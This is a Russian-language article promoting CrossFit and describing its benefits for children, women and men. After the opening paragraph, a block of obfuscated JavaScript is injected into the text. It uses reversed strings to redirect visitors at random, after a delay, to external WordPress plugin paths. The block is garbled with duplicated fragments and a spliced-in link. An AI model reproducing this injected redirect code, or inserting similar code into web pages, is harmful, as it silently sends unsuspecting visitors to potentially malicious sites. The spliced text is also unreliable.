Кроссфит – это современная программа тренировок для увеличения силы и выносливости. По такой методике занимаются самые физически подготовленные люди на планете. В ней смешаны кардио нагрузки, гимнастические упражнения и силовая работа. В процессе занятий совершенствуется и тело, и сила воли.
$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tov/»>https://caesarboxing.ru/klub-krossfita-v-moskve-obuchenie-dlja-detej-zhenshhin-muzhchin-vseh-vozrastoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tov/.
Кому можно заниматься кроссфитом
Кроссфит подходит детям, подросткам, женщинам и мужчинам. Для каждой категории разработана своя программа с учетом возраста и уровня физической подготовки. Важное условие – нагрузки умеренные, плавно переходящие от простого к сложному.
Детский кроссфит сочетает сразу несколько спортивных направлений, при этом занятия проходят весело и интересно. Специальный комплекс совершенствует координацию, гибкость, скорость, силу и выносливость.
А еще он:
- исправляет осанку;
- укрепляет тело;
- снижает риск травм в будущем;
- повышает работоспособность;
- учит общаться в группе;
- дает хорошие эмоции;
- улучшает сон.
Кроссфит для девушек и женщин, по сравнению с мужским, подразумевает меньший уровень интенсивности и облегченный вес инвентаря. Он помогает сформировать красивую фигуру. Благодаря высокой интенсивности, такой спорт быстрее дает эффект похудения, чем занятия на тренажерах.
Мужской кроссфит позволяет подготовить организм к любым экстремальным нагрузкам. Можно стать таким себе универсальным солдатом, сильным телом и духом. Методику используют для тренировки спецназа, единоборцев, охранников.